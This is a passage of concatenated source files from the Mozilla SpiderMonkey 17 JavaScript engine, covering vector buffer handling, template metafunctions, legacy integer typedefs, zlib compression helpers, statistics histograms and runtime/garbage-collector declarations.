reinterpret_cast(this->malloc_(mLength * sizeof(T))); if (!ret) return NULL; Impl::copyConstruct(ret, beginNoCheck(), endNoCheck()); Impl::destroy(beginNoCheck(), endNoCheck()); /* mBegin, mCapacity are unchanged. */ mLength = 0; } else { ret = mBegin; mBegin = (T *)storage.addr(); mLength = 0; mCapacity = sInlineCapacity; #ifdef DEBUG mReserved = 0; #endif } return ret; } template inline void Vector::replaceRawBuffer(T *p, size_t length) { REENTRANCY_GUARD_ET_AL; /* Destroy what we have. */ Impl::destroy(beginNoCheck(), endNoCheck()); if (!usingInlineStorage()) this->free_(beginNoCheck()); /* Take in the new buffer. */ if (length <= sInlineCapacity) { /* * We convert to inline storage if possible, even though p might * otherwise be acceptable. Maybe this behaviour should be * specifiable with an argument to this function. */ mBegin = (T *)storage.addr(); mLength = length; mCapacity = sInlineCapacity; Impl::moveConstruct(mBegin, p, p + length); Impl::destroy(p, p + length); this->free_(p); } else { mBegin = p; mLength = length; mCapacity = length; } #ifdef DEBUG mReserved = length; #endif } template inline size_t Vector::sizeOfExcludingThis(JSMallocSizeOfFun mallocSizeOf) const { return usingInlineStorage() ? 0 : mallocSizeOf(beginNoCheck()); } template inline size_t Vector::sizeOfIncludingThis(JSMallocSizeOfFun mallocSizeOf) const { return mallocSizeOf(this) + sizeOfExcludingThis(mallocSizeOf); } } /* namespace js */ #ifdef _MSC_VER #pragma warning(pop) #endif #endif /* jsvector_h_ */ mozjs17.0.0/js/public/TemplateLib.h0000664000175000017500000001417312106270662017053 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 4; indent-tabs-mode: nil; c-basic-offset: 4 -*- * vim: set ts=8 sw=4 et tw=99 ft=cpp: * * This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ #ifndef js_template_lib_h__ #define js_template_lib_h__ #include "jstypes.h" /* * Library of reusable template meta-functions (that is, functions on types and * compile-time values). Meta-functions are placed inside the 'tl' namespace to * avoid conflict with non-meta functions that logically have the same name * (e.g., js::tl::Min vs. js::Min). */ namespace js { namespace tl { /* Compute min/max/clamp. */ template struct Min { static const size_t result = i < j ? i : j; }; template struct Max { static const size_t result = i > j ? i : j; }; template struct Clamp { static const size_t result = i < min ? min : (i > max ? max : i); }; /* Compute x^y. */ template struct Pow { static const size_t result = x * Pow::result; }; template struct Pow { static const size_t result = 1; }; /* Compute floor(log2(i)). */ template struct FloorLog2 { static const size_t result = 1 + FloorLog2::result; }; template <> struct FloorLog2<0> { /* Error */ }; template <> struct FloorLog2<1> { static const size_t result = 0; }; /* Compute ceiling(log2(i)). */ template struct CeilingLog2 { static const size_t result = FloorLog2<2 * i - 1>::result; }; /* Round up to the nearest power of 2. */ template struct RoundUpPow2 { static const size_t result = size_t(1) << CeilingLog2::result; }; template <> struct RoundUpPow2<0> { static const size_t result = 1; }; /* Compute the number of bits in the given unsigned type. */ template struct BitSize { static const size_t result = sizeof(T) * JS_BITS_PER_BYTE; }; /* Allow Assertions by only including the 'result' typedef if 'true'. */ template struct StaticAssert {}; template <> struct StaticAssert { typedef int result; }; /* Boolean test for whether two types are the same. */ template struct IsSameType { static const bool result = false; }; template struct IsSameType { static const bool result = true; }; /* * Produce an N-bit mask, where N <= BitSize::result. Handle the * language-undefined edge case when N = BitSize::result. */ template struct NBitMask { typedef typename StaticAssert::result>::result _; static const size_t result = (size_t(1) << N) - 1; }; template <> struct NBitMask::result> { static const size_t result = size_t(-1); }; /* * For the unsigned integral type size_t, compute a mask M for N such that * for all X, !(X & M) implies X * N will not overflow (w.r.t size_t) */ template struct MulOverflowMask { static const size_t result = ~NBitMask::result - CeilingLog2::result>::result; }; template <> struct MulOverflowMask<0> { /* Error */ }; template <> struct MulOverflowMask<1> { static const size_t result = 0; }; /* * Generate a mask for T such that if (X & sUnsafeRangeSizeMask), an X-sized * array of T's is big enough to cause a ptrdiff_t overflow when subtracting * a pointer to the end of the array from the beginning. */ template struct UnsafeRangeSizeMask { /* * The '2' factor means the top bit is clear, sizeof(T) converts from * units of elements to bytes. */ static const size_t result = MulOverflowMask<2 * sizeof(T)>::result; }; /* Return T stripped of any const-ness. */ template struct StripConst { typedef T result; }; template struct StripConst { typedef T result; }; /* * Traits class for identifying POD types. Until C++0x, there is no automatic * way to detect PODs, so for the moment it is done manually. */ template struct IsPodType { static const bool result = false; }; template <> struct IsPodType { static const bool result = true; }; template <> struct IsPodType { static const bool result = true; }; template <> struct IsPodType { static const bool result = true; }; template <> struct IsPodType { static const bool result = true; }; template <> struct IsPodType { static const bool result = true; }; template <> struct IsPodType { static const bool result = true; }; template <> struct IsPodType { static const bool result = true; }; template <> struct IsPodType { static const bool result = true; }; template <> struct IsPodType { static const bool result = true; }; template <> struct IsPodType { static const bool result = true; }; template <> struct IsPodType { static const bool result = true; }; template <> struct IsPodType { static const bool result = true; }; template <> struct IsPodType { static const bool result = true; }; template <> struct IsPodType { static const bool result = true; }; template <> struct IsPodType { static const bool result = true; }; template struct IsPodType { static const bool result = true; }; template struct If { static const T result = v1; }; template struct If { static const T result = v2; }; template struct IsPointerType { static const bool result = false; }; template struct IsPointerType { static const bool result = true; }; /* * Traits class for identifying types that are implicitly barriered. */ template struct IsRelocatableHeapType { static const bool result = true; }; } /* namespace tl */ } /* namespace js */ #endif /* js_template_lib_h__ */ mozjs17.0.0/js/public/LegacyIntTypes.h0000664000175000017500000000400412106270662017545 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 4; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /* * This section typedefs the old 'native' types to the new types. * These redefinitions are provided solely to allow JSAPI users to more easily * transition to types. They are not to be used in the JSAPI, and * new JSAPI user code should not use them. This mapping file may eventually * be removed from SpiderMonkey, so don't depend on it in the long run. */ /* * BEWARE: Comity with other implementers of these types is not guaranteed. * Indeed, if you use this header and third-party code defining these * types, *expect* to encounter either compile errors or link errors, * depending how these types are used and on the order of inclusion. * It is safest to use only the JSAPI -style types, * customizing those types using MOZ_CUSTOM_STDINT_H if necessary. */ #ifndef PROTYPES_H #define PROTYPES_H #include "mozilla/StandardInteger.h" #include "js-config.h" typedef uint8_t uint8; typedef uint16_t uint16; typedef uint32_t uint32; typedef uint64_t uint64; /* * On AIX 4.3, sys/inttypes.h (which is included by sys/types.h, a very * common header file) defines the types int8, int16, int32, and int64. * So we don't define these four types here to avoid conflicts in case * the code also includes sys/types.h. */ #if defined(AIX) && defined(HAVE_SYS_INTTYPES_H) #include #else typedef int8_t int8; typedef int16_t int16; typedef int32_t int32; typedef int64_t int64; #endif /* AIX && HAVE_SYS_INTTYPES_H */ typedef uint8_t JSUint8; typedef uint16_t JSUint16; typedef uint32_t JSUint32; typedef uint64_t JSUint64; typedef int8_t JSInt8; typedef int16_t JSInt16; typedef int32_t JSInt32; typedef int64_t JSInt64; #endif /* !defined(PROTYPES_H) */ mozjs17.0.0/js/src/0000775000175000017500000000000012124132314013772 5ustar sstanglsstanglmozjs17.0.0/js/src/js.pc.in0000664000175000017500000000053612124132314015343 0ustar sstanglsstangl#filter substitution prefix=@prefix@ libdir=@libdir@ includedir=@includedir@ Name: SpiderMonkey @MOZILLA_VERSION@ Description: The Mozilla library for JavaScript Version: @MOZILLA_VERSION@ Requires.private: @NSPR_PKGCONF_CHECK@ Libs: -L${libdir} -l@LIBRARY_NAME@ Cflags: -include ${includedir}/@MODULE@/js/RequiredDefines.h -I${includedir}/@MODULE@ mozjs17.0.0/js/src/jsutil.cpp0000664000175000017500000001555412106270663016034 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 4; indent-tabs-mode: nil; c-basic-offset: 4 -*- * * This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /* Various JS utility functions. */ #include "mozilla/Assertions.h" #include "mozilla/Attributes.h" #include #include #include "jstypes.h" #include "jsutil.h" #ifdef WIN32 # include "jswin.h" #else # include #endif #include "js/TemplateLib.h" #include "js/Utility.h" #if USE_ZLIB #include "zlib.h" #endif using namespace js; #if USE_ZLIB static void * zlib_alloc(void *cx, uInt items, uInt size) { return OffTheBooks::malloc_(items * size); } static void zlib_free(void *cx, void *addr) { Foreground::free_(addr); } bool Compressor::init() { if (inplen >= UINT32_MAX) return false; zs.zalloc = zlib_alloc; zs.zfree = zlib_free; int ret = deflateInit(&zs, Z_DEFAULT_COMPRESSION); if (ret != Z_OK) { JS_ASSERT(ret == Z_MEM_ERROR); return false; } return true; } bool Compressor::compressMore() { uInt left = inplen - (zs.next_in - inp); bool done = left <= CHUNKSIZE; if (done) zs.avail_in = left; else if (zs.avail_in == 0) zs.avail_in = CHUNKSIZE; int ret = deflate(&zs, done ? Z_FINISH : Z_NO_FLUSH); if (ret == Z_MEM_ERROR) { zs.avail_out = 0; return false; } if (ret == Z_BUF_ERROR || (done && ret == Z_OK)) { JS_ASSERT(zs.avail_out == 0); return false; } JS_ASSERT_IF(!done, ret == Z_OK); JS_ASSERT_IF(done, ret == Z_STREAM_END); return !done; } size_t Compressor::finish() { size_t outlen = inplen - zs.avail_out; int ret = deflateEnd(&zs); if (ret != Z_OK) { // If we finished early, we can get a Z_DATA_ERROR. JS_ASSERT(ret == Z_DATA_ERROR); JS_ASSERT(uInt(zs.next_in - inp) < inplen || !zs.avail_out); } return outlen; } bool js::DecompressString(const unsigned char *inp, size_t inplen, unsigned char *out, size_t outlen) { JS_ASSERT(inplen <= UINT32_MAX); z_stream zs; zs.zalloc = zlib_alloc; zs.zfree = zlib_free; zs.opaque = NULL; zs.next_in = (Bytef *)inp; zs.avail_in = inplen; zs.next_out = out; JS_ASSERT(outlen); zs.avail_out = outlen; int ret = inflateInit(&zs); if (ret != Z_OK) { JS_ASSERT(ret == Z_MEM_ERROR); return false; } ret = inflate(&zs, Z_FINISH); JS_ASSERT(ret == Z_STREAM_END); ret = inflateEnd(&zs); JS_ASSERT(ret == Z_OK); return true; } #endif #ifdef DEBUG /* For JS_OOM_POSSIBLY_FAIL in jsutil.h. */ JS_PUBLIC_DATA(uint32_t) OOM_maxAllocations = UINT32_MAX; JS_PUBLIC_DATA(uint32_t) OOM_counter = 0; #endif /* * Checks the assumption that JS_FUNC_TO_DATA_PTR and JS_DATA_TO_FUNC_PTR * macros uses to implement casts between function and data pointers. */ JS_STATIC_ASSERT(sizeof(void *) == sizeof(void (*)())); JS_PUBLIC_API(void) JS_Assert(const char *s, const char *file, int ln) { MOZ_ReportAssertionFailure(s, file, ln); MOZ_CRASH(); } #ifdef JS_BASIC_STATS #include #include /* * Histogram bins count occurrences of values <= the bin label, as follows: * * linear: 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10 or more * 2**x: 0, 1, 2, 4, 8, 16, 32, 64, 128, 256, 512 or more * 10**x: 0, 1, 10, 100, 1e3, 1e4, 1e5, 1e6, 1e7, 1e8, 1e9 or more * * We wish to count occurrences of 0 and 1 values separately, always. */ static uint32_t BinToVal(unsigned logscale, unsigned bin) { JS_ASSERT(bin <= 10); if (bin <= 1 || logscale == 0) return bin; --bin; if (logscale == 2) return JS_BIT(bin); JS_ASSERT(logscale == 10); return uint32_t(pow(10.0, (double) bin)); } static unsigned ValToBin(unsigned logscale, uint32_t val) { unsigned bin; if (val <= 1) return val; bin = (logscale == 10) ? (unsigned) ceil(log10((double) val)) : (logscale == 2) ? (unsigned) JS_CEILING_LOG2W(val) : val; return Min(bin, 10U); } void JS_BasicStatsAccum(JSBasicStats *bs, uint32_t val) { unsigned oldscale, newscale, bin; double mean; ++bs->num; if (bs->max < val) bs->max = val; bs->sum += val; bs->sqsum += (double)val * val; oldscale = bs->logscale; if (oldscale != 10) { mean = bs->sum / bs->num; if (bs->max > 16 && mean > 8) { newscale = (bs->max > 1e6 && mean > 1000) ? 10 : 2; if (newscale != oldscale) { uint32_t newhist[11], newbin; PodArrayZero(newhist); for (bin = 0; bin <= 10; bin++) { newbin = ValToBin(newscale, BinToVal(oldscale, bin)); newhist[newbin] += bs->hist[bin]; } js_memcpy(bs->hist, newhist, sizeof bs->hist); bs->logscale = newscale; } } } bin = ValToBin(bs->logscale, val); ++bs->hist[bin]; } double JS_MeanAndStdDev(uint32_t num, double sum, double sqsum, double *sigma) { double var; if (num == 0 || sum == 0) { *sigma = 0; return 0; } var = num * sqsum - sum * sum; if (var < 0 || num == 1) var = 0; else var /= (double)num * (num - 1); /* Windows says sqrt(0.0) is "-1.#J" (?!) so we must test. */ *sigma = (var != 0) ? sqrt(var) : 0; return sum / num; } void JS_DumpBasicStats(JSBasicStats *bs, const char *title, FILE *fp) { double mean, sigma; mean = JS_MeanAndStdDevBS(bs, &sigma); fprintf(fp, "\nmean %s %g, std. deviation %g, max %lu\n", title, mean, sigma, (unsigned long) bs->max); JS_DumpHistogram(bs, fp); } void JS_DumpHistogram(JSBasicStats *bs, FILE *fp) { unsigned bin; uint32_t cnt, max; double sum, mean; for (bin = 0, max = 0, sum = 0; bin <= 10; bin++) { cnt = bs->hist[bin]; if (max < cnt) max = cnt; sum += cnt; } mean = sum / cnt; for (bin = 0; bin <= 10; bin++) { unsigned val = BinToVal(bs->logscale, bin); unsigned end = (bin == 10) ? 0 : BinToVal(bs->logscale, bin + 1); cnt = bs->hist[bin]; if (val + 1 == end) fprintf(fp, " [%6u]", val); else if (end != 0) fprintf(fp, "[%6u, %6u]", val, end - 1); else fprintf(fp, "[%6u, +inf]", val); fprintf(fp, ": %8u ", cnt); if (cnt != 0) { if (max > 1e6 && mean > 1e3) cnt = uint32_t(ceil(log10((double) cnt))); else if (max > 16 && mean > 8) cnt = JS_CEILING_LOG2W(cnt); for (unsigned i = 0; i < cnt; i++) putc('*', fp); } putc('\n', fp); } } #endif /* JS_BASIC_STATS */ mozjs17.0.0/js/src/jscntxt.h0000664000175000017500000016611512124132314015652 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- * vim: set ts=8 sw=4 et tw=78: * * This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /* JS execution context. */ #ifndef jscntxt_h___ #define jscntxt_h___ #include "mozilla/Attributes.h" #include #include "jsapi.h" #include "jsfriendapi.h" #include "jsprvtd.h" #include "jsatom.h" #include "jsclist.h" #include "jsgc.h" #include "jspropertycache.h" #include "jspropertytree.h" #include "jsutil.h" #include "prmjtime.h" #include "ds/LifoAlloc.h" #include "gc/Statistics.h" #include "js/HashTable.h" #include "js/Vector.h" #include "vm/Stack.h" #include "vm/SPSProfiler.h" #ifdef _MSC_VER #pragma warning(push) #pragma warning(disable:4100) /* Silence unreferenced formal parameter warnings */ #pragma warning(push) #pragma warning(disable:4355) /* Silence warning about "this" used in base member initializer list */ #endif JS_BEGIN_EXTERN_C struct DtoaState; JS_END_EXTERN_C namespace js { typedef HashSet ObjectSet; /* Detects cycles when traversing an object graph. */ class AutoCycleDetector { JSContext *cx; JSObject *obj; bool cyclic; uint32_t hashsetGenerationAtInit; ObjectSet::AddPtr hashsetAddPointer; JS_DECL_USE_GUARD_OBJECT_NOTIFIER public: AutoCycleDetector(JSContext *cx, JSObject *obj JS_GUARD_OBJECT_NOTIFIER_PARAM) : cx(cx), obj(obj), cyclic(true) { JS_GUARD_OBJECT_NOTIFIER_INIT; } ~AutoCycleDetector(); bool init(); bool foundCycle() { return cyclic; } }; /* Updates references in the cycle detection set if the GC moves them. */ extern void TraceCycleDetectionSet(JSTracer *trc, ObjectSet &set); namespace mjit { class JaegerRuntime; } class MathCache; class WeakMapBase; class InterpreterFrames; class DebugScopes; /* * GetSrcNote cache to avoid O(n^2) growth in finding a source note for a * given pc in a script. We use the script->code pointer to tag the cache, * instead of the script address itself, so that source notes are always found * by offset from the bytecode with which they were generated. */ struct GSNCache { typedef HashMap, SystemAllocPolicy> Map; jsbytecode *code; Map map; GSNCache() : code(NULL) { } void purge(); }; inline GSNCache * GetGSNCache(JSContext *cx); struct PendingProxyOperation { PendingProxyOperation *next; RootedObject object; PendingProxyOperation(JSContext *cx, JSObject *object) : next(NULL), object(cx, object) {} }; typedef Vector ScriptAndCountsVector; struct ConservativeGCData { /* * The GC scans conservatively between ThreadData::nativeStackBase and * nativeStackTop unless the latter is NULL. */ uintptr_t *nativeStackTop; #if defined(JSGC_ROOT_ANALYSIS) && (JS_STACK_GROWTH_DIRECTION < 0) /* * Record old contents of the native stack from the last time there was a * scan, to reduce the overhead involved in repeatedly rescanning the * native stack during root analysis. oldStackData stores words in reverse * order starting at oldStackEnd. */ uintptr_t *oldStackMin, *oldStackEnd; uintptr_t *oldStackData; size_t oldStackCapacity; // in sizeof(uintptr_t) #endif union { jmp_buf jmpbuf; uintptr_t words[JS_HOWMANY(sizeof(jmp_buf), sizeof(uintptr_t))]; } registerSnapshot; ConservativeGCData() { PodZero(this); } ~ConservativeGCData() { #ifdef JS_THREADSAFE /* * The conservative GC scanner should be disabled when the thread leaves * the last request. */ JS_ASSERT(!hasStackToScan()); #endif } JS_NEVER_INLINE void recordStackTop(); #ifdef JS_THREADSAFE void updateForRequestEnd(unsigned suspendCount) { if (suspendCount) recordStackTop(); else nativeStackTop = NULL; } #endif bool hasStackToScan() const { return !!nativeStackTop; } }; class SourceDataCache { typedef HashMap, SystemAllocPolicy> Map; Map *map_; public: SourceDataCache() : map_(NULL) {} JSFixedString *lookup(ScriptSource *ss); void put(ScriptSource *ss, JSFixedString *); void purge(); }; struct EvalCacheLookup { JSLinearString *str; JSFunction *caller; unsigned staticLevel; JSVersion version; JSCompartment *compartment; }; struct EvalCacheHashPolicy { typedef EvalCacheLookup Lookup; static HashNumber hash(const Lookup &l); static bool match(JSScript *script, const EvalCacheLookup &l); }; typedef HashSet EvalCache; class NativeIterCache { static const size_t SIZE = size_t(1) << 8; /* Cached native iterators. */ PropertyIteratorObject *data[SIZE]; static size_t getIndex(uint32_t key) { return size_t(key) % SIZE; } public: /* Native iterator most recently started. */ PropertyIteratorObject *last; NativeIterCache() : last(NULL) { PodArrayZero(data); } void purge() { last = NULL; PodArrayZero(data); } PropertyIteratorObject *get(uint32_t key) const { return data[getIndex(key)]; } void set(uint32_t key, PropertyIteratorObject *iterobj) { data[getIndex(key)] = iterobj; } }; /* * Cache for speeding up repetitive creation of objects in the VM. * When an object is created which matches the criteria in the 'key' section * below, an entry is filled with the resulting object. */ class NewObjectCache { /* Statically asserted to be equal to sizeof(JSObject_Slots16) */ static const unsigned MAX_OBJ_SIZE = 4 * sizeof(void*) + 16 * sizeof(Value); static inline void staticAsserts(); struct Entry { /* Class of the constructed object. */ Class *clasp; /* * Key with one of three possible values: * * - Global for the object. The object must have a standard class for * which the global's prototype can be determined, and the object's * parent will be the global. * * - Prototype for the object (cannot be global). The object's parent * will be the prototype's parent. * * - Type for the object. The object's parent will be the type's * prototype's parent. */ gc::Cell *key; /* Allocation kind for the constructed object. */ gc::AllocKind kind; /* Number of bytes to copy from the template object. */ uint32_t nbytes; /* * Template object to copy from, with the initial values of fields, * fixed slots (undefined) and private data (NULL). */ char templateObject[MAX_OBJ_SIZE]; }; Entry entries[41]; // TODO: reconsider size public: typedef int EntryIndex; NewObjectCache() { PodZero(this); } void purge() { PodZero(this); } /* * Get the entry index for the given lookup, return whether there was a hit * on an existing entry. */ inline bool lookupProto(Class *clasp, JSObject *proto, gc::AllocKind kind, EntryIndex *pentry); inline bool lookupGlobal(Class *clasp, js::GlobalObject *global, gc::AllocKind kind, EntryIndex *pentry); inline bool lookupType(Class *clasp, js::types::TypeObject *type, gc::AllocKind kind, EntryIndex *pentry); /* * Return a new object from a cache hit produced by a lookup method, or * NULL if returning the object could possibly trigger GC (does not * indicate failure). */ inline JSObject *newObjectFromHit(JSContext *cx, EntryIndex entry); /* Fill an entry after a cache miss. */ inline void fillProto(EntryIndex entry, Class *clasp, JSObject *proto, gc::AllocKind kind, JSObject *obj); inline void fillGlobal(EntryIndex entry, Class *clasp, js::GlobalObject *global, gc::AllocKind kind, JSObject *obj); inline void fillType(EntryIndex entry, Class *clasp, js::types::TypeObject *type, gc::AllocKind kind, JSObject *obj); /* Invalidate any entries which might produce an object with shape/proto. */ void invalidateEntriesForShape(JSContext *cx, Shape *shape, JSObject *proto); private: inline bool lookup(Class *clasp, gc::Cell *key, gc::AllocKind kind, EntryIndex *pentry); inline void fill(EntryIndex entry, Class *clasp, gc::Cell *key, gc::AllocKind kind, JSObject *obj); static inline void copyCachedToObject(JSObject *dst, JSObject *src); }; /* * A FreeOp can do one thing: free memory. For convenience, it has delete_ * convenience methods that also call destructors. * * FreeOp is passed to finalizers and other sweep-phase hooks so that we do not * need to pass a JSContext to those hooks. */ class FreeOp : public JSFreeOp { bool shouldFreeLater_; public: static FreeOp *get(JSFreeOp *fop) { return static_cast(fop); } FreeOp(JSRuntime *rt, bool shouldFreeLater) : JSFreeOp(rt), shouldFreeLater_(shouldFreeLater) { } bool shouldFreeLater() const { return shouldFreeLater_; } inline void free_(void* p); JS_DECLARE_DELETE_METHODS(free_, inline) static void staticAsserts() { /* * Check that JSFreeOp is the first base class for FreeOp and we can * reinterpret a pointer to JSFreeOp as a pointer to FreeOp without * any offset adjustments. JSClass::finalize <-> Class::finalize depends * on this. */ JS_STATIC_ASSERT(offsetof(FreeOp, shouldFreeLater_) == sizeof(JSFreeOp)); } }; } /* namespace js */ namespace JS { struct RuntimeSizes; } struct JSRuntime : js::RuntimeFriendFields { /* Default compartment. */ JSCompartment *atomsCompartment; /* List of compartments (protected by the GC lock). */ js::CompartmentVector compartments; /* See comment for JS_AbortIfWrongThread in jsapi.h. */ #ifdef JS_THREADSAFE public: void *ownerThread() const { return ownerThread_; } void clearOwnerThread(); void setOwnerThread(); JS_FRIEND_API(bool) onOwnerThread() const; private: void *ownerThread_; public: #else public: bool onOwnerThread() const { return true; } #endif /* Keeper of the contiguous stack used by all contexts in this thread. */ js::StackSpace stackSpace; /* Temporary arena pool used while compiling and decompiling. */ static const size_t TEMP_LIFO_ALLOC_PRIMARY_CHUNK_SIZE = 4 * 1024; js::LifoAlloc tempLifoAlloc; /* * Free LIFO blocks are transferred to this allocator before being freed on * the background GC thread. */ js::LifoAlloc freeLifoAlloc; private: /* * Both of these allocators are used for regular expression code which is shared at the * thread-data level. */ JSC::ExecutableAllocator *execAlloc_; WTF::BumpPointerAllocator *bumpAlloc_; #ifdef JS_METHODJIT js::mjit::JaegerRuntime *jaegerRuntime_; #endif JSObject *selfHostedGlobal_; JSC::ExecutableAllocator *createExecutableAllocator(JSContext *cx); WTF::BumpPointerAllocator *createBumpPointerAllocator(JSContext *cx); js::mjit::JaegerRuntime *createJaegerRuntime(JSContext *cx); public: JSC::ExecutableAllocator *getExecAlloc(JSContext *cx) { return execAlloc_ ? execAlloc_ : createExecutableAllocator(cx); } JSC::ExecutableAllocator &execAlloc() { JS_ASSERT(execAlloc_); return *execAlloc_; } WTF::BumpPointerAllocator *getBumpPointerAllocator(JSContext *cx) { return bumpAlloc_ ? bumpAlloc_ : createBumpPointerAllocator(cx); } #ifdef JS_METHODJIT js::mjit::JaegerRuntime *getJaegerRuntime(JSContext *cx) { return jaegerRuntime_ ? jaegerRuntime_ : createJaegerRuntime(cx); } bool hasJaegerRuntime() const { return jaegerRuntime_; } js::mjit::JaegerRuntime &jaegerRuntime() { JS_ASSERT(hasJaegerRuntime()); return *jaegerRuntime_; } #endif bool initSelfHosting(JSContext *cx); void markSelfHostedGlobal(JSTracer *trc); JSFunction *getSelfHostedFunction(JSContext *cx, const char *name); bool cloneSelfHostedValueById(JSContext *cx, jsid id, js::HandleObject holder, js::Value *vp); void finishSelfHosting() { selfHostedGlobal_ = NULL; } /* Base address of the native stack for the current thread. */ uintptr_t nativeStackBase; /* The native stack size limit that runtime should not exceed. */ size_t nativeStackQuota; /* * Frames currently running in js::Interpret. See InterpreterFrames for * details. */ js::InterpreterFrames *interpreterFrames; /* Context create/destroy callback. */ JSContextCallback cxCallback; /* Compartment destroy callback. */ JSDestroyCompartmentCallback destroyCompartmentCallback; /* Call this to get the name of a compartment. */ JSCompartmentNameCallback compartmentNameCallback; js::ActivityCallback activityCallback; void *activityCallbackArg; #ifdef JS_THREADSAFE /* Number of JS_SuspendRequest calls withot JS_ResumeRequest. */ unsigned suspendCount; /* The request depth for this thread. */ unsigned requestDepth; # ifdef DEBUG unsigned checkRequestDepth; # endif #endif /* Garbage collector state, used by jsgc.c. */ /* * Set of all GC chunks with at least one allocated thing. The * conservative GC uses it to quickly check if a possible GC thing points * into an allocated chunk. */ js::GCChunkSet gcChunkSet; /* * Doubly-linked lists of chunks from user and system compartments. The GC * allocates its arenas from the corresponding list and when all arenas * in the list head are taken, then the chunk is removed from the list. * During the GC when all arenas in a chunk become free, that chunk is * removed from the list and scheduled for release. */ js::gc::Chunk *gcSystemAvailableChunkListHead; js::gc::Chunk *gcUserAvailableChunkListHead; js::gc::ChunkPool gcChunkPool; js::RootedValueMap gcRootsHash; js::GCLocks gcLocksHash; unsigned gcKeepAtoms; size_t gcBytes; size_t gcMaxBytes; size_t gcMaxMallocBytes; /* * Number of the committed arenas in all GC chunks including empty chunks. * The counter is volatile as it is read without the GC lock, see comments * in MaybeGC. */ volatile uint32_t gcNumArenasFreeCommitted; js::GCMarker gcMarker; void *gcVerifyPreData; void *gcVerifyPostData; bool gcChunkAllocationSinceLastGC; int64_t gcNextFullGCTime; int64_t gcLastGCTime; int64_t gcJitReleaseTime; JSGCMode gcMode; bool gcHighFrequencyGC; uint64_t gcHighFrequencyTimeThreshold; uint64_t gcHighFrequencyLowLimitBytes; uint64_t gcHighFrequencyHighLimitBytes; double gcHighFrequencyHeapGrowthMax; double gcHighFrequencyHeapGrowthMin; double gcLowFrequencyHeapGrowth; bool gcDynamicHeapGrowth; bool gcDynamicMarkSlice; /* During shutdown, the GC needs to clean up every possible object. */ bool gcShouldCleanUpEverything; /* * The gray bits can become invalid if UnmarkGray overflows the stack. A * full GC will reset this bit, since it fills in all the gray bits. */ bool gcGrayBitsValid; /* * These flags must be kept separate so that a thread requesting a * compartment GC doesn't cancel another thread's concurrent request for a * full GC. */ volatile uintptr_t gcIsNeeded; js::WeakMapBase *gcWeakMapList; js::gcstats::Statistics gcStats; /* Incremented on every GC slice. */ uint64_t gcNumber; /* The gcNumber at the time of the most recent GC's first slice. */ uint64_t gcStartNumber; /* Whether the currently running GC can finish in multiple slices. */ int gcIsIncremental; /* Whether all compartments are being collected in first GC slice. */ bool gcIsFull; /* The reason that an interrupt-triggered GC should be called. */ js::gcreason::Reason gcTriggerReason; /* * If this is true, all marked objects must belong to a compartment being * GCed. This is used to look for compartment bugs. */ bool gcStrictCompartmentChecking; /* * If this is 0, all cross-compartment proxies must be registered in the * wrapper map. This checking must be disabled temporarily while creating * new wrappers. When non-zero, this records the recursion depth of wrapper * creation. */ uintptr_t gcDisableStrictProxyCheckingCount; /* * The current incremental GC phase. This is also used internally in * non-incremental GC. */ js::gc::State gcIncrementalState; /* Indicates that the last incremental slice exhausted the mark stack. */ bool gcLastMarkSlice; /* Whether any sweeping will take place in the separate GC helper thread. */ bool gcSweepOnBackgroundThread; /* List head of compartments being swept. */ JSCompartment *gcSweepingCompartments; /* * Incremental sweep state. */ int gcSweepPhase; ptrdiff_t gcSweepCompartmentIndex; int gcSweepKindIndex; /* * List head of arenas allocated during the sweep phase. */ js::gc::ArenaHeader *gcArenasAllocatedDuringSweep; /* * Indicates that a GC slice has taken place in the middle of an animation * frame, rather than at the beginning. In this case, the next slice will be * delayed so that we don't get back-to-back slices. */ volatile uintptr_t gcInterFrameGC; /* Default budget for incremental GC slice. See SliceBudget in jsgc.h. */ int64_t gcSliceBudget; /* * We disable incremental GC if we encounter a js::Class with a trace hook * that does not implement write barriers. */ bool gcIncrementalEnabled; /* * Whether exact stack scanning is enabled for this runtime. This is * currently only used for dynamic root analysis. Exact scanning starts out * enabled, and is disabled if e4x has been used. */ bool gcExactScanningEnabled; /* * We save all conservative scanned roots in this vector so that * conservative scanning can be "replayed" deterministically. In DEBUG mode, * this allows us to run a non-incremental GC after every incremental GC to * ensure that no objects were missed. */ #ifdef DEBUG struct SavedGCRoot { void *thing; JSGCTraceKind kind; SavedGCRoot(void *thing, JSGCTraceKind kind) : thing(thing), kind(kind) {} }; js::Vector gcSavedRoots; #endif bool gcPoke; #ifdef DEBUG bool relaxRootChecks; #endif enum HeapState { Idle, // doing nothing with the GC heap Tracing, // tracing the GC heap without collecting, e.g. IterateCompartments() Collecting // doing a GC of the heap }; HeapState heapState; bool isHeapBusy() { return heapState != Idle; } bool isHeapCollecting() { return heapState == Collecting; } /* * These options control the zealousness of the GC. The fundamental values * are gcNextScheduled and gcDebugCompartmentGC. At every allocation, * gcNextScheduled is decremented. When it reaches zero, we do either a * full or a compartmental GC, based on gcDebugCompartmentGC. * * At this point, if gcZeal_ is one of the types that trigger periodic * collection, then gcNextScheduled is reset to the value of * gcZealFrequency. Otherwise, no additional GCs take place. * * You can control these values in several ways: * - Pass the -Z flag to the shell (see the usage info for details) * - Call gczeal() or schedulegc() from inside shell-executed JS code * (see the help for details) * * If gzZeal_ == 1 then we perform GCs in select places (during MaybeGC and * whenever a GC poke happens). This option is mainly useful to embedders. * * We use gcZeal_ == 4 to enable write barrier verification. See the comment * in jsgc.cpp for more information about this. * * gcZeal_ values from 8 to 10 periodically run different types of * incremental GC. */ #ifdef JS_GC_ZEAL int gcZeal_; int 